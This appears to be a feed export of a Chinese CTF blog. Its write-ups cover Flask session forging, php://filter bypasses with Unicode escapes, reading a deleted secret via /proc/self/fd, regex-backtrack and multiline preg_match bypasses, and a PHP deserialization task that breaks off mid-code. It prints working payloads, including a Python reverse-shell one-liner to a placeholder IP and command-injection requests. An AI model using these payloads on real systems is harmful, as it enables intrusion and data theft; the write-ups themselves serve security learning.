str(random.random() * 233)</span><br><span class="line">print(key)</span><br><span class="line">#34.5940640088</span><br></pre></td></tr></table></figure><p>这里用 python2 环境</p><h2 id="生成session"><a class="markdownIt-Anchor" href="#生成session">#</a> 生成 session</h2><p>使用工具 <a href="https://github.com/noraj/flask-session-cookie-manager">flask-session-cookie-manager</a></p><p><strong>这里有个超级大坑反正我是用 python2 一直没出 怀疑人生 让后 python3 直接出了</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 flask_session_cookie_manager3.py encode -s 34.5940640088 -t &quot;&#123;&#39;username&#39;:&#39;fuck&#39;&#125;&quot;</span><br></pre></td></tr></table></figure><p><img src="https://cdn.jsdelivr.net/gh/cclss/pic@master/pic-master/202109272112757.png" alt="image-20210927211221410"></p>]]></content>
    
    
      
      
        
        
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot;</summary>
        
      
    
    
    
    <category term="ctf" scheme="http://www.cclss.top/categories/ctf/"/>
    
    
    <category term="ctf" scheme="http://www.cclss.top/tags/ctf/"/>
    
  </entry>
  
  <entry>
    <title>HarekazeCTF2019-encode_and_encode</title>
    <link href="http://www.cclss.top/post/encode_encode/"/>
    <id>http://www.cclss.top/post/encode_encode/</id>
    <published>2021-07-19T07:07:12.000Z</published>
    <updated>2021-07-19T07:07:12.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="题目分析"><a class="markdownIt-Anchor" href="#题目分析">#</a> 题目分析</h1><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">error_reporting(<span class="number">0</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;source&#x27;</span>])) &#123;</span><br><span class="line">  show_source(<span class="keyword">__FILE__</span>);</span><br><span class="line">  <span class="keyword">exit</span>();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">is_valid</span>(<span class="params"><span class="variable">$str</span></span>) </span>&#123;</span><br><span class="line">  <span class="variable">$banword</span> = [</span><br><span class="line">    <span class="comment">// no path traversal</span></span><br><span class="line">    <span class="string">&#x27;\.\.&#x27;</span>,</span><br><span class="line">    <span class="comment">// no stream wrapper</span></span><br><span class="line">    <span class="string">&#x27;(php|file|glob|data|tp|zip|zlib|phar):&#x27;</span>,</span><br><span class="line">    <span class="comment">// no data exfiltration</span></span><br><span class="line">    <span class="string">&#x27;flag&#x27;</span></span><br><span class="line">  ];</span><br><span class="line">  <span class="variable">$regexp</span> = <span class="string">&#x27;/&#x27;</span> . implode(<span class="string">&#x27;|&#x27;</span>, <span class="variable">$banword</span>) . <span class="string">&#x27;/i&#x27;</span>;</span><br><span class="line">  <span class="keyword">if</span> (preg_match(<span class="variable">$regexp</span>, <span class="variable">$str</span>)) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$body</span> = file_get_contents(<span class="string">&#x27;php://input&#x27;</span>);</span><br><span class="line"><span class="variable">$json</span> = json_decode(<span class="variable">$body</span>, <span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (is_valid(<span class="variable">$body</span>) &amp;&amp; <span class="keyword">isset</span>(<span class="variable">$json</span>) &amp;&amp; <span class="keyword">isset</span>(<span class="variable">$json</span>[<span class="string">&#x27;page&#x27;</span>])) &#123;</span><br><span class="line">  <span class="variable">$page</span> = <span class="variable">$json</span>[<span class="string">&#x27;page&#x27;</span>];</span><br><span class="line">  <span class="variable">$content</span> = file_get_contents(<span class="variable">$page</span>);</span><br><span class="line">  <span class="keyword">if</span> (!<span class="variable">$content</span> || !is_valid(<span class="variable">$content</span>)) &#123;</span><br><span class="line">    <span class="variable">$content</span> = <span class="string">&quot;&lt;p&gt;not found&lt;/p&gt;\n&quot;</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">  <span class="variable">$content</span> = <span class="string">&#x27;&lt;p&gt;invalid request&lt;/p&gt;&#x27;</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// no data exfiltration!!!</span></span><br><span class="line"><span class="variable">$content</span> = preg_replace(<span class="string">&#x27;/HarekazeCTF\&#123;.+\&#125;/i&#x27;</span>, <span class="string">&#x27;HarekazeCTF&#123;&amp;lt;censored&amp;gt;&#125;&#x27;</span>, <span class="variable">$content</span>);</span><br><span class="line"><span class="keyword">echo</span> json_encode([<span class="string">&#x27;content&#x27;</span> =&gt; <span class="variable">$content</span>]);</span><br></pre></td></tr></table></figure><blockquote><p>题目给了源码，利用点应该为 file_get_contents</p><p>题目过滤了一些关键字，将 flag 格式过滤</p></blockquote><h1 id="解题思路"><a class="markdownIt-Anchor" href="#解题思路">#</a> 解题思路</h1><blockquote><p>tips: 在 json 中，字符 Unicode 编码之后等同于该字符，比如 php 等同于 \u0070\u0068\u0070</p></blockquote><ul><li><code>file_get_contents('php://input')</code>  获取 post 的数据， <code>json_decode($body, true)</code>  用 json 格式解码 post 的数据，然后  <code>is_valid($body)</code>  对 post 数据检验</li><li><code>is_valid($body)</code>  对 post 数据检验，导致无法传输  <code>$banword</code>  中的关键词，也就无法传输  <code>flag</code> ，这里在 json 中，可以使用 Unicode 编码绕过， <code>flag</code>  就等于  <code>\u0066\u006c\u0061\u0067</code></li><li>通过检验后，获取  <code>page</code>  对应的文件，并且页面里的内容也要通过  <code>is_valid</code>  检验，然后将文件中  <code>HarekazeCTF&#123;&#125;</code>  替换为  <code>HarekazeCTF&#123;&lt;censored&gt;&#125;</code>  ，这样就无法明文读取 flag</li><li>这里传入  <code>/\u0066\u006c\u0061\u0067</code>  后，由于  <code>flag</code>  文件中也包含 flag 关键字，所以返回  <code>not found</code>  ，这也无法使用  <code>file://</code></li></ul><blockquote><p><code>file_get_contents</code>  是可以触发  <code>php://filter</code>  的，所以考虑使用伪协议读取，对  <code>php</code>  的过滤使用  <code>Unicode</code>  绕过即可</p></blockquote><h1 id="构造"><a class="markdownIt-Anchor" href="#构造">#</a> 构造</h1><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">&quot;page&quot;</span>:<span class="string">&quot;\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006C\u0061\u0067&quot;</span>&#125;</span><br><span class="line"></span><br><span class="line">&#123;<span class="attr">&quot;page&quot;</span>:<span class="string">&quot;\u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067&quot;</span>&#125;</span><br></pre></td></tr></table></figure><p><img src="https://cdn.jsdelivr.net/gh/cclss/pic@master/pic-master/20210719150301.png" alt="image-20210719150253431"></p><p><img src="https://cdn.jsdelivr.net/gh/cclss/pic@master/pic-master/20210719150344.png" alt="image-20210719150343644"></p>]]></content>
    
    
      
      
        
        
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot;</summary>
        
      
    
    
    
    <category term="ctf" scheme="http://www.cclss.top/categories/ctf/"/>
    
    
    <category term="ctf" scheme="http://www.cclss.top/tags/ctf/"/>
    
  </entry>
  
  <entry>
    <title>PicDown</title>
    <link href="http://www.cclss.top/post/picdown/"/>
    <id>http://www.cclss.top/post/picdown/</id>
    <published>2021-07-15T02:41:26.000Z</published>
    <updated>2021-07-15T02:41:26.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="知识点"><a class="markdownIt-Anchor" href="#知识点">#</a> 知识点</h1><blockquote><p>liunx 中 用户和应用程序可以通过 proc 得到系统的信息，并可以改变内核的某些参数。由于系统的信息，如进程，是动态改变的，所以用户或应用程序读取 proc 文件时，proc 文件系统是动态从系统内核读出所需信息并提交的。</p></blockquote><blockquote><p>Linux 内核提供了一种通过 /proc 文件系统，在运行时访问内核内部数据结构、改变内核设置的机制。proc 文件系统是一个伪文件系统，它只存在内存当中，而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。</p><p>还有的是一些以数字命名的目录，他们是进程目录。系统中当前运行的每一个进程都有对应的一个目录在 /proc 下，以进程的 PID 号为目录名，他们是读取进程信息的接口。而 self 目录则是读取进程本身的信息接口，是一个 link</p></blockquote><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">cat /proc/[PID]/cmdline    <span class="comment">#包含进程的完整命令行信息</span></span><br><span class="line">/proc/[pid]/comm           <span class="comment">#包含进程的命令名。</span></span><br><span class="line">/proc/[pid]/cwd            <span class="comment">#进程当前工作目录的符号链接</span></span><br><span class="line">/proc/[pid]/environ        <span class="comment">#显示进程的环境变量</span></span><br><span class="line">/proc/[pid]/fd             <span class="comment">#包含进程打开文件的情况</span></span><br><span class="line">/proc/[pid]/fd/[1-?]       <span class="comment">#指定进程打开的某个文件的内容，为数字</span></span><br><span class="line">/proc/[pid]/exe            <span class="comment">#为实际运行程序的符号链接</span></span><br><span class="line"></span><br><span class="line">self  <span class="comment">#当前进程</span></span><br></pre></td></tr></table></figure><blockquote><p>注意：在真正做题的时候，我们是不能通过命令的方式执行通过 cat 命令读取 cmdline 的。因为如果 cat 读取 /proc/self/cmdline/ 的话，得到的是 cat 进程的信息。所以我们要通过题目的当前进程使用读取文件（比如，文件包含漏洞，，SSTI，，file:\\ 本地读取，，…/…/…/ 目录穿越，，SSRF）的方式读取 /proc/self/cmdline</p></blockquote><h1 id="题目分析"><a class="markdownIt-Anchor" href="#题目分析">#</a> 题目分析</h1><p>题目开局给了个框随手测试了一下 /flag？？？？直接白给？正常做题</p><p>存在 包含</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/etc/passwd  <span class="comment">#成功读取文件</span></span><br></pre></td></tr></table></figure><p>读取当前命令信息</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/proc/self/cmdline  <span class="comment">#python2 app.py</span></span><br></pre></td></tr></table></figure><p>尝试读出源码</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> Flask, Response</span><br><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> render_template</span><br><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> request</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> urllib</span><br><span class="line"></span><br><span class="line">app = Flask(__name__)</span><br><span class="line"></span><br><span class="line">SECRET_FILE = <span class="string">&quot;/tmp/secret.txt&quot;</span> </span><br><span class="line">f = <span class="built_in">open</span>(SECRET_FILE)       <span class="comment"># 用open()打开/tmp/secret.txt文件，文件描述符为f</span></span><br><span class="line">SECRET_KEY = f.read().strip()      <span class="comment"># 读取secret.txt文件，并将内容赋给SECRET_KEY</span></span><br><span class="line">os.remove(SECRET_FILE)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/&#x27;</span></span>)</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">index</span>():</span></span><br><span class="line">    <span class="keyword">return</span> render_template(<span class="string">&#x27;search.html&#x27;</span>)     <span class="comment"># 访问/根目录是渲染search.html</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/page&#x27;</span></span>)</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">page</span>():</span></span><br><span class="line">    url = request.args.get(<span class="string">&quot;url&quot;</span>)</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> url.lower().startswith(<span class="string">&quot;file&quot;</span>):</span><br><span class="line">            res = urllib.urlopen(url)       <span class="comment"># 创建一个表示远程url的类文件对象,然后像本地文件一样操作这个类文件对象来获取远程数据。</span></span><br><span class="line">            value = res.read()</span><br><span class="line">            response = Response(value, mimetype=<span class="string">&#x27;application/octet-stream&#x27;</span>)</span><br><span class="line">            response.headers[<span class="string">&#x27;Content-Disposition&#x27;</span>] = <span class="string">&#x27;attachment; filename=beautiful.jpg&#x27;</span></span><br><span class="line">            <span class="keyword">return</span> response</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            value = <span class="string">&quot;HACK ERROR!&quot;</span>    </span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        value = <span class="string">&quot;SOMETHING WRONG!&quot;</span>search.html</span><br><span class="line">    <span class="keyword">return</span> render_template(<span class="string">&#x27;search.html&#x27;</span>, res=value)    <span class="comment"># 将value(url获取的内容)渲染到search.html页面</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/no_one_know_the_manager&#x27;</span></span>)</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">manager</span>():</span></span><br><span class="line">    key = request.args.get(<span class="string">&quot;key&quot;</span>)</span><br><span class="line">    print(SECRET_KEY)</span><br><span class="line">    <span class="keyword">if</span> key == SECRET_KEY:</span><br><span class="line">        shell = request.args.get(<span class="string">&quot;shell&quot;</span>)</span><br><span class="line">        os.system(shell)          <span class="comment"># 这里如果key=SECRET_KEY，那么就从URL中获取shell参数并用system函数(无回显)执行。</span></span><br><span class="line">        res = <span class="string">&quot;ok&quot;</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        res = <span class="string">&quot;Wrong Key!&quot;</span></span><br><span class="line">    <span class="keyword">return</span> res</span><br><span class="line">    </span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    app.run(host=<span class="string">&#x27;0.0.0.0&#x27;</span>, port=<span class="number">8080</span>)</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>一个标准的 flask 利用点 当 <code>key == SECRET_KEY</code>  执行 shell</p><p>尝试读取 /tmp/secret.txt  函数执行读取后删除文件  <strong>利用 /proc/self/fd/3  读取文件执行内容</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?url&#x3D;&#x2F;proc&#x2F;self&#x2F;fd&#x2F;3</span><br></pre></td></tr></table></figure><p>爆破最后一位数字</p><p><img src="https://cdn.jsdelivr.net/gh/cclss/pic@master/pic-master/20210715101507.png" alt="image-20210715101458401"></p><p>获得 key   <code>ncq/GKZNN9w898fP5q5hkv1aJzhqwvR9BVuR9ZZ/sro=</code>    接下来构造命令</p><h1 id="利用"><a class="markdownIt-Anchor" href="#利用">#</a> 利用</h1><p>python 反弹 shell</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 -c <span class="string">&quot;import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&#x27;xxx,xxx,xxx,xxx&#x27;,端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([&#x27;/bin/bash&#x27;,&#x27;-i&#x27;]);&quot;</span></span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
        
        
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot;</summary>
        
      
    
    
    
    <category term="ctf" scheme="http://www.cclss.top/categories/ctf/"/>
    
    
    <category term="ctf" scheme="http://www.cclss.top/tags/ctf/"/>
    
  </entry>
  
  <entry>
    <title>RCEService</title>
    <link href="http://www.cclss.top/post/recservice/"/>
    <id>http://www.cclss.top/post/recservice/</id>
    <published>2021-07-14T07:31:42.000Z</published>
    <updated>2021-07-14T07:31:42.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="题目分析"><a class="markdownIt-Anchor" href="#题目分析">#</a> 题目分析</h1><p>对着题目一顿操作没弄出个所以</p><p>发现题目本身是给了源码的</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line">putenv(<span class="string">&#x27;PATH=/home/rceservice/jail&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_REQUEST</span>[<span class="string">&#x27;cmd&#x27;</span>])) &#123;</span><br><span class="line">  <span class="variable">$json</span> = <span class="variable">$_REQUEST</span>[<span class="string">&#x27;cmd&#x27;</span>];</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (!is_string(<span class="variable">$json</span>)) &#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&#x27;Hacking attempt detected&lt;br/&gt;&lt;br/&gt;&#x27;</span>;</span><br><span class="line">  &#125; <span class="keyword">elseif</span> (preg_match(<span class="string">&#x27;/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/&#x27;</span>, <span class="variable">$json</span>)) &#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&#x27;Hacking attempt detected&lt;br/&gt;&lt;br/&gt;&#x27;</span>;</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&#x27;Attempting to run command:&lt;br/&gt;&#x27;</span>;</span><br><span class="line">    <span class="variable">$cmd</span> = json_decode(<span class="variable">$json</span>, <span class="literal">true</span>)[<span class="string">&#x27;cmd&#x27;</span>];</span><br><span class="line">    <span class="keyword">if</span> (<span class="variable">$cmd</span> !== <span class="literal">NULL</span>) &#123;</span><br><span class="line">      system(<span class="variable">$cmd</span>);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      <span class="keyword">echo</span> <span class="string">&#x27;Invalid input&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">&#x27;&lt;br/&gt;&lt;br/&gt;&#x27;</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>分析一波过滤了确实多</p><p>要求输入 json 格式</p><h1 id="解法一"><a class="markdownIt-Anchor" href="#解法一">#</a> 解法一</h1><p>正则  trick</p><p>当正则表达式匹配超过 <code>10000000</code>  次时，preg_match 将 <code>false</code>  直接返回。</p><p><img src="https://cdn.jsdelivr.net/gh/cclss/pic@master/pic-master/20210714152026.png" alt="image-20210714152017777"></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">payload = <span class="string">&#x27;&#123;&quot;cmd&quot;:&quot;ls /&quot;,&quot;zz&quot;:&quot;&#x27;</span> + <span class="string">&quot;a&quot;</span>*(<span class="number">1000000</span>) + <span class="string">&#x27;&quot;&#125;&#x27;</span></span><br><span class="line"></span><br><span class="line">r = requests.post(<span class="string">&quot;http://challenges.fbctf.com:8085/&quot;</span>, data=&#123;<span class="string">&quot;cmd&quot;</span>:payload&#125;)</span><br><span class="line"><span class="built_in">print</span> r.text</span><br></pre></td></tr></table></figure><p>构造脚本</p><p>题目 PATH 被更改所以用绝对路径</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">&quot;cmd&quot;</span>:<span class="string">&quot;/bin/cat /home/rceservice/flag&quot;</span>,<span class="attr">&quot;zz&quot;</span>:<span class="string">&quot;&#x27; + &quot;</span>a<span class="string">&quot;*(1000000) + &#x27;&quot;</span>&#125;</span><br></pre></td></tr></table></figure><h1 id="解法二"><a class="markdownIt-Anchor" href="#解法二">#</a> 解法二</h1><p><strong>绕过 preg_match</strong></p><p>绕过 preg 匹配的最常见方法之一是使用多行输入，因为 preg 匹配只尝试匹配第一行。而恰好，JSON 可以被格式化为多行，例如：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">  <span class="attr">&quot;cmd&quot;</span>: <span class="string">&quot;ls /home/rceservice&quot;</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>由于没有过滤多行输入的检查，所以可以直接构造</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">  &quot;cmd&quot;: &quot;&#x2F;bin&#x2F;cat &#x2F;home&#x2F;rceservice&#x2F;flag&quot;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>记得将换行进行 url 编码 % oa</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?cmd&#x3D;&#123;%0A&quot;cmd&quot;:&quot;&#x2F;bin&#x2F;cat &#x2F;home&#x2F;rceservice&#x2F;flag&quot;%0A&#125;</span><br></pre></td></tr></table></figure><p><a href="https://ramadistra.dev/fbctf-2019-rceservice">参考链接</a></p><p><a href="https://balsn.tw/ctf_writeup/20190603-facebookctf/#rceservice">参考链接</a></p>]]></content>
    
    
      
      
        
        
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot;</summary>
        
      
    
    
    
    <category term="ctf" scheme="http://www.cclss.top/categories/ctf/"/>
    
    
    <category term="ctf" scheme="http://www.cclss.top/tags/ctf/"/>
    
  </entry>
  
  <entry>
    <title>强网杯</title>
    <link href="http://www.cclss.top/post/qwb2021/"/>
    <id>http://www.cclss.top/post/qwb2021/</id>
    <published>2021-06-17T11:56:25.000Z</published>
    <updated>2021-06-17T11:56:25.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="0x01-pop_master"><a class="markdownIt-Anchor" href="#0x01-pop_master">#</a> 0x01 pop_master</h1><p>打开题目</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">include</span><span class="string">&quot;class.php&quot;</span>;</span><br><span class="line"><span class="comment">//class.php.txt</span></span><br><span class="line">highlight_file(<span class="keyword">__FILE__</span>);</span><br><span class="line"><span class="variable">$a</span>=<span class="variable">$_GET</span>[<span class="string">&#x27;pop&#x27;</span>];</span><br><span class="line"><span class="variable">$b</span>=<span class="variable">$_GET</span>[<span class="string">&#x27;argv&#x27;</span>];</span><br><span class="line"><span class="variable">$class</span>=unserialize(<span class="variable">$a</span>);</span><br><span class="line"><span class="variable">$class</span>-&gt;XXXXXX(<span class="variable">$b</span>);  <span class="comment">//随机生成6位长度的函数</span></span><br></pre></td></tr></table></figure><p>根据提示信息 下载源码</p><p>我滴个乖乖  2M 多的链  16 万行</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">NXlGlW</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$hGYbeeG</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">HRD4CW</span>(<span class="params"><span class="variable">$y3Cae</span></span>)</span>&#123;</span><br><span class="line"><span class="keyword">eval</span>(<span class="variable">$y3Cae</span>);</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">C3akk9</span>(<span class="params"><span class="variable">$MSL6W</span></span>)</span>&#123;</span><br><span class="line"><span class="keyword">eval</span>(<span 